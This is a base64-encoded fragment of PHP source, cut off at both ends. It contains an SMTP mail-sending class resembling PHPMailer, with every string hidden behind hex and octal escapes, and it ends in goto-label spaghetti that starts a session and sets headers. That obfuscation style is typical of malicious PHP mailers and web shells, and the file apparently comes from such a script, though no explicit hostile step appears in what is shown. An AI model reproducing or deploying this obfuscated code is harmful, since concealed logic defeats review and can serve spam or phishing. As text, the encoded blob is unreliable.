IwXDE2N1wxNTBceDY5XHg2Y1x4NjVceDIwXHg2M1wxNTBceDY1XDE0M1wxNTNcMTUxXDE1NlwxNDdcNDBceDY5XHg2Nlx4MjBceDYzXHg2ZlwxNTZceDZlXDE0NVwxNDNcMTY0XHg2NVwxNDQiLCBzZWxmOjpERUJVR19DTElFTlQpOyAkdGhpcy0+Y2xvc2UoKTsgcmV0dXJuIGZhbHNlOyB9IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gY2xvc2UoKSB7ICR0aGlzLT5zZXRFcnJvcignJyk7ICR0aGlzLT5zZXJ2ZXJfY2FwcyA9IG51bGw7ICR0aGlzLT5oZWxvX3JwbHkgPSBudWxsOyBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikpIHsgZmNsb3NlKCR0aGlzLT5zbXRwX2Nvbm4pOyAkdGhpcy0+c210cF9jb25uID0gbnVsbDsgJHRoaXMtPmVkZWJ1ZygiXDEwM1x4NmZceDZlXDE1Nlx4NjVceDYzXDE2NFx4NjlceDZmXDE1Nlw3Mlx4MjBceDYzXHg2Y1wxNTdcMTYzXHg2NVwxNDQiLCBzZWxmOjpERUJVR19DT05ORUNUSU9OKTsgfSB9IHB1YmxpYyBmdW5jdGlvbiBkYXRhKCRtc2dfZGF0YSkgeyBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgiXDEwNFwxMDFcMTI0XHg0MSIsICJcMTA0XHg0MVwxMjRcMTAxIiwgMzU0KSkgeyByZXR1cm4gZmFsc2U7IH0gJGxpbmVzID0gZXhwbG9kZSgiXDEyIiwgc3RyX3JlcGxhY2UoYXJyYXkoIlx4ZFwxMiIsICJcMTUiKSwgIlx4YSIsICRtc2dfZGF0YSkpOyAkZmllbGQgPSBzdWJzdHIoJGxpbmVzWzBdLCAwLCBzdHJwb3MoJGxpbmVzWzBdLCAiXHgzYSIpKTsgJGluX2hlYWRlcnMgPSBmYWxzZTsgaWYgKCFlbXB0eSgkZmllbGQpIGFuZCBzdHJwb3MoJGZpZWxkLCAiXHgyMCIpID09PSBmYWxzZSkgeyAkaW5faGVhZGVycyA9IHRydWU7IH0gZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7ICRsaW5lc19vdXQgPSBhcnJheSgpOyBpZiAoJGluX2hlYWRlcnMgYW5kICRsaW5lID09ICcnKSB7ICRpbl9oZWFkZXJzID0gZmFsc2U7IH0gd2hpbGUgKGlzc2V0KCRsaW5lW3NlbGY6Ok1BWF9MSU5FX0xFTkdUSF0pKSB7ICRwb3MgPSBzdHJycG9zKHN1YnN0cigkbGluZSwgMCwgc2VsZjo6TUFYX0xJTkVfTEVOR1RIKSwgIlx4MjAiKTsgaWYgKCEkcG9zKSB7ICRwb3MgPSBzZWxmOjpNQVhfTElORV9MRU5HVEggLSAxOyAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOyAkbGluZSA9IHN1YnN0cigkbGluZSwgJHBvcyk7IH0gZWxzZSB7ICRsaW5lc19vdXRbXSA9IHN1YnN0cigkbGluZSwgMCwgJHBvcyk7ICRsaW5lID0gc3Vic3RyKCRsaW5lLCAkcG9zICsgMSk7IH0gaWYgKCRpbl9oZWFkZXJzKSB7ICRsaW5lID0gIlwxMSIgLiAkbGluZTsgfSB9ICRsaW5lc19vdXRbXSA9ICRsaW5lOyBmb3JlYWNoICgkbGluZXNfb3V0IGFzICRsaW5lX291dCkgeyBpZiAoIWVtcHR5KCRsaW5lX291dCkgYW5kICRsaW5lX291dFswXSA9PSAiXHgyZSIpIHsgJGxpbmVfb3V0ID0gIlw1NiIgLiAkbGluZV9vdXQ7IH0gJHRoaXMtPmNsaWVudF9zZW5kKCRsaW5lX291dCAuIHN0YXRpYzo6TEUsICJcMTA0XHg0MVwxMjRcMTAxIik7IH0gfSAkc2F2ZXRpbWVsaW1pdCA9ICR0aGlzLT5UaW1lbGltaXQ7ICR0aGlzLT5UaW1lbGltaXQgPSAkdGhpcy0+VGltZWxpbWl0ICogMjsgJHJlc3VsdCA9ICR0aGlzLT5zZW5kQ29tbWFuZCgiXHg0NFwxMDFceDU0XHg0MVw0MFwxMDVcMTE2XHg0NCIsICJcNTYiLCAyNTApOyAkdGhpcy0+cmVjb3JkTGFzdFRyYW5zYWN0aW9uSUQoKTsgJHRoaXMtPlRpbWVsaW1pdCA9ICRzYXZldGltZWxpbWl0OyByZXR1cm4gJHJlc3VsdDsgfSBwdWJsaWMgZnVuY3Rpb24gaGVsbG8oJGhvc3QgPSAnJykgeyByZXR1cm4gJHRoaXMtPnNlbmRIZWxsbygiXDEwNVx4NDhcMTE0XDExNyIsICRob3N0KSBvciAkdGhpcy0+c2VuZEhlbGxvKCJceDQ4XDEwNVwxMTRcMTE3IiwgJGhvc3QpOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBzZW5kSGVsbG8oJGhlbGxvLCAkaG9zdCkgeyAkbm9lcnJvciA9ICR0aGlzLT5zZW5kQ29tbWFuZCgkaGVsbG8sICRoZWxsbyAuICJceDIwIiAuICRob3N0LCAyNTApOyAkdGhpcy0+aGVsb19ycGx5ID0gJHRoaXMtPmxhc3RfcmVwbHk7IGlmICgkbm9lcnJvcikgeyAkdGhpcy0+cGFyc2VIZWxsb0ZpZWxkcygkaGVsbG8pOyB9IGVsc2UgeyAkdGhpcy0+c2VydmVyX2NhcHMgPSBudWxsOyB9IHJldHVybiAkbm9lcnJvcjsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gcGFyc2VIZWxsb0ZpZWxkcygkdHlwZSkgeyAkdGhpcy0+c2VydmVyX2NhcHMgPSBhcnJheSgpOyAkbGluZXMgPSBleHBsb2RlKCJcMTIiLCAkdGhpcy0+aGVsb19ycGx5KTsgZm9yZWFjaCAoJGxpbmVzIGFzICRuID0+ICRzKSB7ICRzID0gdHJpbShzdWJzdHIoJHMsIDQpKTsgaWYgKGVtcHR5KCRzKSkgeyBjb250aW51ZTsgfSAkZmllbGRzID0gZXhwbG9kZSgiXHgyMCIsICRzKTsgaWYgKCFlbXB0eSgkZmllbGRzKSkgeyBpZiAoISRuKSB7ICRuYW1lID0gJHR5cGU7ICRmaWVsZHMgPSAkZmllbGRzWzBdOyB9IGVsc2UgeyAkbmFtZSA9IGFycmF5X3NoaWZ0KCRmaWVsZHMpOyBzd2l0Y2ggKCRuYW1lKSB7IGNhc2UgIlx4NTNcMTExXDEzMlwxMDUiOiAkZmllbGRzID0gJGZpZWxkcyA/ICRmaWVsZHNbMF0gOiAwOyBicmVhazsgY2FzZSAiXHg0MVwxMjVceDU0XDExMCI6IGlmICghaXNfYXJyYXkoJGZpZWxkcykpIHsgJGZpZWxkcyA9IGFycmF5KCk7IH0gYnJlYWs7IGRlZmF1bHQ6ICRmaWVsZHMgPSB0cnVlOyB9IH0gJHRoaXMtPnNlcnZlcl9jYXBzWyRuYW1lXSA9ICRmaWVsZHM7IH0gfSB9IHB1YmxpYyBmdW5jdGlvbiBtYWlsKCRmcm9tKSB7ICR1c2VWZXJwID0gJHRoaXMtPmRvX3ZlcnAgPyAiXHgyMFx4NThcMTI2XDEwNVx4NTJceDUwIiA6ICcnOyByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCJceDRkXHg0MVwxMTFcMTE0XDQwXHg0NlwxMjJceDRmXHg0ZCIsICJceDRkXDEwMVwxMTFceDRjXHgyMFx4NDZcMTIyXHg0Zlx4NGRcNzJcNzQiIC4gJGZyb20gLiAiXDc2IiAuICR1c2VWZXJwLCAyNTApOyB9IHB1YmxpYyBmdW5jdGlvbiBxdWl0KCRjbG9zZV9vbl9lcnJvciA9IHRydWUpIHsgJG5vZXJyb3IgPSAkdGhpcy0+c2VuZENvbW1hbmQoIlwxMjFceDU1XDExMVx4NTQiLCAiXHg1MVx4NTVceDQ5XHg1NCIsIDIyMSk7ICRlcnIgPSAkdGhpcy0+ZXJyb3I7IGlmICgkbm9lcnJvciBvciAkY2xvc2Vfb25fZXJyb3IpIHsgJHRoaXMtPmNsb3NlKCk7ICR0aGlzLT5lcnJvciA9ICRlcnI7IH0gcmV0dXJuICRub2Vycm9yOyB9IHB1YmxpYyBmdW5jdGlvbiByZWNpcGllbnQoJGFkZHJlc3MsICRkc24gPSAnJykgeyBpZiAoZW1wdHkoJGRzbikpIHsgJHJjcHQgPSAiXHg1MlwxMDNceDUwXDEyNFw0MFwxMjRcMTE3XHgzYVw3NCIgLiAkYWRkcmVzcyAuICJcNzYiOyB9IGVsc2UgeyAkZHNuID0gc3RydG91cHBlcigkZHNuKTsgJG5vdGlmeSA9IGFycmF5KCk7IGlmIChzdHJwb3MoJGRzbiwgIlx4NGVceDQ1XDEyNlx4NDVceDUyIikgIT09IGZhbHNlKSB7ICRub3RpZnlbXSA9ICJcMTE2XDEwNVwxMjZceDQ1XDEyMiI7IH0gZWxzZSB7IGZvcmVhY2ggKGFycmF5KCJceDUzXDEyNVwxMDNceDQzXHg0NVwxMjNceDUzIiwgIlwxMDZceDQxXDExMVx4NGNceDU1XDEyMlwxMDUiLCAiXDEwNFwxMDVceDRjXDEwMVwxMzEiKSBhcyAkdmFsdWUpIHsgaWYgKHN0cnBvcygkZHNuLCAkdmFsdWUpICE9PSBmYWxzZSkgeyAkbm90aWZ5W10gPSAkdmFsdWU7IH0gfSB9ICRyY3B0ID0gIlx4NTJceDQzXDEyMFx4NTRcNDBcMTI0XHg0Zlw3Mlw3NCIgLiAkYWRkcmVzcyAuICJcNzZceDIwXDExNlx4NGZceDU0XDExMVwxMDZceDU5XHgzZCIgLiBpbXBsb2RlKCJceDJjIiwgJG5vdGlmeSk7IH0gcmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgiXDEyMlx4NDNcMTIwXDEyNFw0MFwxMjRceDRmIiwgJHJjcHQsIGFycmF5KDI1MCwgMjUxKSk7IH0gcHVibGljIGZ1bmN0aW9uIHJlc2V0KCkgeyByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCJcMTIyXHg1M1x4NDVcMTI0IiwgIlx4NTJceDUzXHg0NVwxMjQiLCAyNTApOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBzZW5kQ29tbWFuZCgkY29tbWFuZCwgJGNvbW1hbmRzdHJpbmcsICRleHBlY3QpIHsgaWYgKCEkdGhpcy0+Y29ubmVjdGVkKCkpIHsgJHRoaXMtPnNldEVycm9yKCJceDQzXHg2MVx4NmNceDZjXHg2NVwxNDRceDIweyRjb21tYW5kfVw0MFx4NzdcMTUxXDE2NFx4NjhcMTU3XDE2NVx4NzRcNDBcMTQyXDE0NVwxNTFceDZlXDE0N1w0MFwxNDNceDZmXDE1Nlx4NmVceDY1XDE0M1wxNjRcMTQ1XHg2NCIpOyByZXR1cm4gZmFsc2U7IH0gaWYgKHN0cnBvcygkY29tbWFuZHN0cmluZywgIlx4YSIpICE9PSBmYWxzZSBvciBzdHJwb3MoJGNvbW1hbmRzdHJpbmcsICJcMTUiKSAhPT0gZmFsc2UpIHsgJHRoaXMtPnNldEVycm9yKCJceDQzXDE1N1x4NmRcMTU1XDE0MVwxNTZcMTQ0XDQwXHgyN3skY29tbWFuZH1ceDI3XHgyMFx4NjNcMTU3XDE1NlwxNjRcMTQxXHg2OVwxNTZcMTQ1XDE0NFx4MjBceDZjXDE1MVx4NmVcMTQ1XHgyMFwxNDJceDcyXHg2NVx4NjFcMTUzXHg3MyIpOyByZXR1cm4gZmFsc2U7IH0gJHRoaXMtPmNsaWVudF9zZW5kKCRjb21tYW5kc3RyaW5nIC4gc3RhdGljOjpMRSwgJGNvbW1hbmQpOyAkdGhpcy0+bGFzdF9yZXBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsgJG1hdGNoZXMgPSBhcnJheSgpOyBpZiAocHJlZ19tYXRjaCgiXHgyZlwxMzZceDI4XDEzM1x4MzBceDJkXDcxXDEzNVx4N2JceDMzXDE3NVx4MjlcMTMzXHgyMFw1NVwxMzVceDI4XDc3XDcyXHgyOFwxMzNceDMwXHgyZFx4MzlcMTM1XHg1Y1w1NlwxMzNceDMwXHgyZFx4MzlcMTM1XHg1Y1w1NlwxMzNcNjBceDJkXHgzOVx4NWRcMTczXHgzMVw1NFx4MzJcMTc1XHgyOVw0MFw1MVw3N1x4MmYiLCAkdGhpcy0+bGFzdF9yZXBseSwgJG1hdGNoZXMpKSB7ICRjb2RlID0gJG1hdGNoZXNbMV07ICRjb2RlX2V4ID0gY291bnQoJG1hdGNoZXMpID4gMiA/ICRtYXRjaGVzWzJdIDogbnVsbDsgJGRldGFpbCA9IHByZWdfcmVwbGFjZSgiXDU3eyRjb2RlfVx4NWJcNDBcNTVceDVkIiAuICgkY29kZV9leCA/IHN0cl9yZXBsYWNlKCJcNTYiLCAiXHg1Y1w1NiIsICRjb2RlX2V4KSAuICJcNDAiIDogJycpIC4gIlx4MmZceDZkIiwgJycsICR0aGlzLT5sYXN0X3JlcGx5KTsgfSBlbHNlIHsgJGNvZGUgPSBzdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksIDAsIDMpOyAkY29kZV9leCA9IG51bGw7ICRkZXRhaWwgPSBzdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksIDQpOyB9ICR0aGlzLT5lZGVidWcoIlx4NTNceDQ1XHg1Mlx4NTZcMTA1XDEyMlw0MFw1NVx4M2VceDIwXDEwM1x4NGNcMTExXHg0NVx4NGVcMTI0XDcyXDQwIiAuICR0aGlzLT5sYXN0X3JlcGx5LCBzZWxmOjpERUJVR19TRVJWRVIpOyBpZiAoIWluX2FycmF5KCRjb2RlLCAoYXJyYXkpICRleHBlY3QpKSB7ICR0aGlzLT5zZXRFcnJvcigieyRjb21tYW5kfVx4MjBcMTQzXDE1N1x4NmRcMTU1XDE0MVwxNTZcMTQ0XHgyMFx4NjZceDYxXHg2OVx4NmNceDY1XDE0NCIsICRkZXRhaWwsICRjb2RlLCAkY29kZV9leCk7ICR0aGlzLT5lZGVidWcoIlx4NTNcMTE1XHg1NFwxMjBcNDBcMTA1XDEyMlx4NTJceDRmXDEyMlw3Mlx4MjAiIC4gJHRoaXMtPmVycm9yWyJceDY1XDE2Mlx4NzJcMTU3XHg3MiJdIC4gIlw3Mlw0MCIgLiAkdGhpcy0+bGFzdF9yZXBseSwgc2VsZjo6REVCVUdfQ0xJRU5UKTsgcmV0dXJuIGZhbHNlOyB9ICR0aGlzLT5zZXRFcnJvcignJyk7IHJldHVybiB0cnVlOyB9IHB1YmxpYyBmdW5jdGlvbiBzZW5kQW5kTWFpbCgkZnJvbSkgeyByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCJceDUzXDEwMVx4NGRcMTE0IiwgIlwxMjNcMTAxXHg0ZFwxMTRceDIwXHg0NlwxMjJcMTE3XHg0ZFw3MnskZnJvbX0iLCAyNTApOyB9IHB1YmxpYyBmdW5jdGlvbiB2ZXJpZnkoJG5hbWUpIHsgcmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgiXHg1NlwxMjJceDQ2XDEzMSIsICJcMTI2XHg1Mlx4NDZcMTMxXHgyMHskbmFtZX0iLCBhcnJheSgyNTAsIDI1MSkpOyB9IHB1YmxpYyBmdW5jdGlvbiBub29wKCkgeyByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCJceDRlXDExN1wxMTdcMTIwIiwgIlwxMTZceDRmXHg0ZlwxMjAiLCAyNTApOyB9IHB1YmxpYyBmdW5jdGlvbiB0dXJuKCkgeyAkdGhpcy0+c2V0RXJyb3IoIlx4NTRceDY4XHg2NVx4MjBceDUzXDExNVx4NTRceDUwXDQwXHg1NFx4NTVceDUyXHg0ZVx4MjBcMTQzXDE1N1x4NmRceDZkXDE0MVx4NmVcMTQ0XDQwXHg2OVx4NzNcNDBceDZlXDE1N1x4NzRceDIwXHg2OVwxNTVceDcwXHg2Y1wxNDVceDZkXHg2NVx4NmVceDc0XDE0NVx4NjQiKTsgJHRoaXMtPmVkZWJ1ZygiXHg1M1wxMTVceDU0XHg1MFw0MFx4NGVceDRmXDEyNFx4NDlcMTAzXDEwNVw3Mlx4MjAiIC4gJHRoaXMtPmVycm9yWyJcMTQ1XDE2Mlx4NzJceDZmXDE2MiJdLCBzZWxmOjpERUJVR19DTElFTlQpOyByZXR1cm4gZmFsc2U7IH0gcHVibGljIGZ1bmN0aW9uIGNsaWVudF9zZW5kKCRkYXRhLCAkY29tbWFuZCA9ICcnKSB7IGlmIChzZWxmOjpERUJVR19MT1dMRVZFTCA+ICR0aGlzLT5kb19kZWJ1ZyBhbmQgaW5fYXJyYXkoJGNvbW1hbmQsIGFycmF5KCJceDU1XHg3M1wxNDVceDcyXDQwXHgyNlw0MFx4NTBceDYxXDE2M1wxNjNceDc3XHg2Zlx4NzJcMTQ0IiwgIlx4NTVceDczXDE0NVx4NzJceDZlXDE0MVwxNTVcMTQ1IiwgIlwxMjBcMTQxXDE2M1wxNjNcMTY3XHg2ZlwxNjJcMTQ0IiksIHRydWUpKSB7ICR0aGlzLT5lZGVidWcoIlwxMDNceDRjXHg0OVx4NDVceDRlXDEyNFw0MFw1NVx4M2VceDIwXDEyM1wxMDVceDUyXDEyNlx4NDVceDUyXHgzYVx4MjBcNzRceDYzXHg3Mlx4NjVceDY0XDE0NVx4NmVcMTY0XDE1MVx4NjFcMTU0XHg3M1x4MjBcMTUwXDE1MVx4NjRceDY0XHg2NVwxNTZcNzYiLCBzZWxmOjpERUJVR19DTElFTlQpOyB9IGVsc2UgeyAkdGhpcy0+ZWRlYnVnKCJceDQzXHg0Y1x4NDlceDQ1XHg0ZVx4NTRceDIwXDU1XHgzZVx4MjBcMTIzXHg0NVx4NTJcMTI2XHg0NVx4NTJceDNhXHgyMCIgLiAkZGF0YSwgc2VsZjo6REVCVUdfQ0xJRU5UKTsgfSBzZXRfZXJyb3JfaGFuZGxlcihhcnJheSgkdGhpcywgIlx4NjVcMTYyXDE2MlwxNTdcMTYyXDExMFx4NjFcMTU2XHg2NFwxNTRcMTQ1XHg3MiIpKTsgJHJlc3VsdCA9IGZ3cml0ZSgkdGhpcy0+c210cF9jb25uLCAkZGF0YSk7IHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOyByZXR1cm4gJHJlc3VsdDsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7IHJldHVybiAkdGhpcy0+ZXJyb3I7IH0gcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlckV4dExpc3QoKSB7IHJldHVybiAkdGhpcy0+c2VydmVyX2NhcHM7IH0gcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlckV4dCgkbmFtZSkgeyBpZiAoISR0aGlzLT5zZXJ2ZXJfY2FwcykgeyAkdGhpcy0+c2V0RXJyb3IoIlx4NGVceDZmXHgyMFwxMTBcMTA1XDExNFwxMTdceDJmXHg0NVx4NDhceDRjXDExN1w0MFwxNjdceDYxXHg3M1w0MFwxNjNceDY1XDE1NlwxNjQiKTsgcmV0dXJuOyB9IGlmICghYXJyYXlfa2V5X2V4aXN0cygkbmFtZSwgJHRoaXMtPnNlcnZlcl9jYXBzKSkgeyBpZiAoIlx4NDhceDQ1XHg0Y1x4NGYiID09ICRuYW1lKSB7IHJldHVybiAkdGhpcy0+c2VydmVyX2NhcHNbIlwxMDVcMTEwXHg0Y1wxMTciXTsgfSBpZiAoIlwxMDVceDQ4XDExNFwxMTciID09ICRuYW1lIHx8IGFycmF5X2tleV9leGlzdHMoIlx4NDVcMTEwXDExNFx4NGYiLCAkdGhpcy0+c2VydmVyX2NhcHMpKSB7IHJldHVybiBmYWxzZTsgfSAkdGhpcy0+c2V0RXJyb3IoIlwxMTBceDQ1XHg0Y1wxMTdceDIwXDE1MFwxNDFceDZlXHg2NFwxNjNceDY4XDE0MVwxNTNceDY1XDQwXHg3N1x4NjFceDczXHgyMFx4NzVcMTYzXHg2NVwxNDRcNzNcNDBcMTE2XDE1N1x4MjBceDY5XHg2ZVx4NjZceDZmXDE2MlwxNTVcMTQxXHg3NFx4NjlcMTU3XHg2ZVx4MjBcMTQxXHg2Mlx4NmZceDc1XDE2NFw0MFwxNjNceDY1XDE2MlwxNjZceDY1XDE2Mlx4MjBcMTQ1XHg3OFwxNjRcMTQ1XHg2ZVwxNjNcMTUxXDE1N1wxNTZcMTYzXDQwXDE0MVx4NzZceDYxXDE1MVwxNTRceDYxXDE0MlwxNTRcMTQ1Iik7IHJldHVybjsgfSByZXR1cm4gJHRoaXMtPnNlcnZlcl9jYXBzWyRuYW1lXTsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdFJlcGx5KCkgeyByZXR1cm4gJHRoaXMtPmxhc3RfcmVwbHk7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9saW5lcygpIHsgaWYgKCFpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKSkgeyByZXR1cm4gJyc7IH0gJGRhdGEgPSAnJzsgJGVuZHRpbWUgPSAwOyBzdHJlYW1fc2V0X3RpbWVvdXQoJHRoaXMtPnNtdHBfY29ubiwgJHRoaXMtPlRpbWVvdXQpOyBpZiAoJHRoaXMtPlRpbWVsaW1pdCA+IDApIHsgJGVuZHRpbWUgPSB0aW1lKCkgKyAkdGhpcy0+VGltZWxpbWl0OyB9ICRzZWxSID0gYXJyYXkoJHRoaXMtPnNtdHBfY29ubik7ICRzZWxXID0gbnVsbDsgd2hpbGUgKGlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pIGFuZCAhZmVvZigkdGhpcy0+c210cF9jb25uKSkgeyBpZiAoIXN0cmVhbV9zZWxlY3QoJHNlbFIsICRzZWxXLCAkc2VsVywgJHRoaXMtPlRpbWVsaW1pdCkpIHsgJHRoaXMtPmVkZWJ1ZygiXDEyM1wxMTVceDU0XHg1MFx4MjBceDJkXDc2XDQwXDE0N1wxNDVcMTY0XHg1Zlx4NmNceDY5XDE1NlwxNDVceDczXHgyOFw1MVx4M2FceDIwXDE2NFx4NjlcMTU1XHg2NVx4NjRceDJkXHg2ZlwxNjVcMTY0XHgyMFx4MjgiIC4gJHRoaXMtPlRpbWVvdXQgLiAiXDQwXHg3M1wxNDVcMTQzXHgyOSIsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsgYnJlYWs7IH0gJHN0ciA9IEBmZ2V0cygkdGhpcy0+c210cF9jb25uLCA1MTUpOyAkdGhpcy0+ZWRlYnVnKCJceDUzXHg0ZFwxMjRcMTIwXHgyMFwxMTFceDRlXHg0Mlx4NGZcMTI1XHg0ZVx4NDRcNzJcNDBcNDIiIC4gdHJpbSgkc3RyKSAuICJcNDIiLCBzZWxmOjpERUJVR19MT1dMRVZFTCk7ICRkYXRhIC49ICRzdHI7IGlmICghaXNzZXQoJHN0clszXSkgb3IgaXNzZXQoJHN0clszXSkgYW5kICRzdHJbM10gPT0gIlw0MCIpIHsgYnJlYWs7IH0gJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkdGhpcy0+c210cF9jb25uKTsgaWYgKCRpbmZvWyJceDc0XHg2OVwxNTVcMTQ1XHg2NFx4NWZceDZmXHg3NVwxNjQiXSkgeyAkdGhpcy0+ZWRlYnVnKCJcMTIzXHg0ZFx4NTRceDUwXHgyMFw1NVx4M2VceDIwXDE0N1x4NjVceDc0XHg1Zlx4NmNcMTUxXDE1Nlx4NjVceDczXHgyOFx4MjlcNzJceDIwXDE2NFwxNTFceDZkXDE0NVx4NjRcNTVcMTU3XDE2NVx4NzRcNDBceDI4IiAuICR0aGlzLT5UaW1lb3V0IC4gIlw0MFwxNjNceDY1XHg2M1w1MSIsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsgYnJlYWs7IH0gaWYgKCRlbmR0aW1lIGFuZCB0aW1lKCkgPiAkZW5kdGltZSkgeyAkdGhpcy0+ZWRlYnVnKCJceDUzXHg0ZFwxMjRceDUwXDQwXHgyZFw3Nlx4MjBcMTQ3XDE0NVwxNjRcMTM3XDE1NFwxNTFcMTU2XHg2NVx4NzNceDI4XHgyOVx4M2FceDIwXDE2NFwxNTFcMTU1XHg2NVx4NmNceDY5XHg2ZFwxNTFceDc0XDQwXDE2MlwxNDVcMTQxXHg2M1wxNTBcMTQ1XDE0NFx4MjBcNTAiIC4gJHRoaXMtPlRpbWVsaW1pdCAuICJceDIwXHg3M1x4NjVcMTQzXHgyOSIsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsgYnJlYWs7IH0gfSByZXR1cm4gJGRhdGE7IH0gcHVibGljIGZ1bmN0aW9uIHNldFZlcnAoJGVuYWJsZWQgPSBmYWxzZSkgeyAkdGhpcy0+ZG9fdmVycCA9ICRlbmFibGVkOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXRWZXJwKCkgeyByZXR1cm4gJHRoaXMtPmRvX3ZlcnA7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIHNldEVycm9yKCRtZXNzYWdlLCAkZGV0YWlsID0gJycsICRzbXRwX2NvZGUgPSAnJywgJHNtdHBfY29kZV9leCA9ICcnKSB7ICR0aGlzLT5lcnJvciA9IGFycmF5KCJceDY1XDE2Mlx4NzJceDZmXHg3MiIgPT4gJG1lc3NhZ2UsICJceDY0XDE0NVx4NzRcMTQxXDE1MVwxNTQiID0+ICRkZXRhaWwsICJcMTYzXHg2ZFx4NzRcMTYwXHg1Zlx4NjNcMTU3XDE0NFx4NjUiID0+ICRzbXRwX2NvZGUsICJcMTYzXDE1NVwxNjRcMTYwXDEzN1x4NjNceDZmXHg2NFwxNDVcMTM3XHg2NVx4NzgiID0+ICRzbXRwX2NvZGVfZXgpOyB9IHB1YmxpYyBmdW5jdGlvbiBzZXREZWJ1Z091dHB1dCgkbWV0aG9kID0gIlx4NjVcMTQzXHg2OFwxNTciKSB7ICR0aGlzLT5EZWJ1Z291dHB1dCA9ICRtZXRob2Q7IH0gcHVibGljIGZ1bmN0aW9uIGdldERlYnVnT3V0cHV0KCkgeyByZXR1cm4gJHRoaXMtPkRlYnVnb3V0cHV0OyB9IHB1YmxpYyBmdW5jdGlvbiBzZXREZWJ1Z0xldmVsKCRsZXZlbCA9IDApIHsgJHRoaXMtPmRvX2RlYnVnID0gJGxldmVsOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXREZWJ1Z0xldmVsKCkgeyByZXR1cm4gJHRoaXMtPmRvX2RlYnVnOyB9IHB1YmxpYyBmdW5jdGlvbiBzZXRUaW1lb3V0KCR0aW1lb3V0ID0gMCkgeyAkdGhpcy0+VGltZW91dCA9ICR0aW1lb3V0OyB9IHB1YmxpYyBmdW5jdGlvbiBnZXRUaW1lb3V0KCkgeyByZXR1cm4gJHRoaXMtPlRpbWVvdXQ7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIGVycm9ySGFuZGxlcigkZXJybm8sICRlcnJtc2csICRlcnJmaWxlID0gJycsICRlcnJsaW5lID0gMCkgeyAkbm90aWNlID0gIlx4NDNcMTU3XDE1Nlx4NmVcMTQ1XHg2M1x4NzRcMTUxXHg2Zlx4NmVcNDBcMTQ2XDE0MVx4NjlceDZjXDE0NVx4NjRcNTYiOyAkdGhpcy0+c2V0RXJyb3IoJG5vdGljZSwgJGVycm1zZywgKHN0cmluZykgJGVycm5vKTsgJHRoaXMtPmVkZWJ1ZygieyRub3RpY2V9XHgyMFwxMDVceDcyXHg3MlwxNTdcMTYyXDQwXDQzeyRlcnJub31cNzJceDIweyRlcnJtc2d9XHgyMFx4NWJ7JGVycmZpbGV9XDQwXDE1NFwxNTFceDZlXDE0NVw0MHskZXJybGluZX1cMTM1Iiwgc2VsZjo6REVCVUdfQ09OTkVDVElPTik7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIHJlY29yZExhc3RUcmFuc2FjdGlvbklEKCkgeyAkcmVwbHkgPSAkdGhpcy0+Z2V0TGFzdFJlcGx5KCk7IGlmIChlbXB0eSgkcmVwbHkpKSB7ICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQgPSBudWxsOyB9IGVsc2UgeyAkdGhpcy0+bGFzdF9zbXRwX3RyYW5zYWN0aW9uX2lkID0gZmFsc2U7IGZvcmVhY2ggKCR0aGlzLT5zbXRwX3RyYW5zYWN0aW9uX2lkX3BhdHRlcm5zIGFzICRzbXRwX3RyYW5zYWN0aW9uX2lkX3BhdHRlcm4pIHsgaWYgKHByZWdfbWF0Y2goJHNtdHBfdHJhbnNhY3Rpb25faWRfcGF0dGVybiwgJHJlcGx5LCAkbWF0Y2hlcykpIHsgJHRoaXMtPmxhc3Rfc210cF90cmFuc2FjdGlvbl9pZCA9IHRyaW0oJG1hdGNoZXNbMV0pOyBicmVhazsgfSB9IH0gcmV0dXJuICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQ7IH0gcHVibGljIGZ1bmN0aW9uIGdldExhc3RUcmFuc2FjdGlvbklEKCkgeyByZXR1cm4gJHRoaXMtPmxhc3Rfc210cF90cmFuc2FjdGlvbl9pZDsgfSB9IGdvdG8gUnFEY1E7IHJFNEdfOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gT29SSEk7IFQ0XzZBOiBoZWFkZXIoIlwxMDNceDYxXDE0M1x4NjhceDY1XDU1XDEwM1x4NmZcMTU2XDE2NFwxNjJcMTU3XDE1NFw3Mlw0MFwxNTZceDZmXDU1XHg3M1x4NzRcMTU3XHg3MlwxNDVcNTRcNDBceDZlXDE1N1w1NVwxNDNceDYxXHg2M1wxNTBceDY1XHgyY1w0MFwxNTVceDc1XDE2M1x4NzRceDJkXDE2Mlx4NjVcMTY2XDE0MVx4N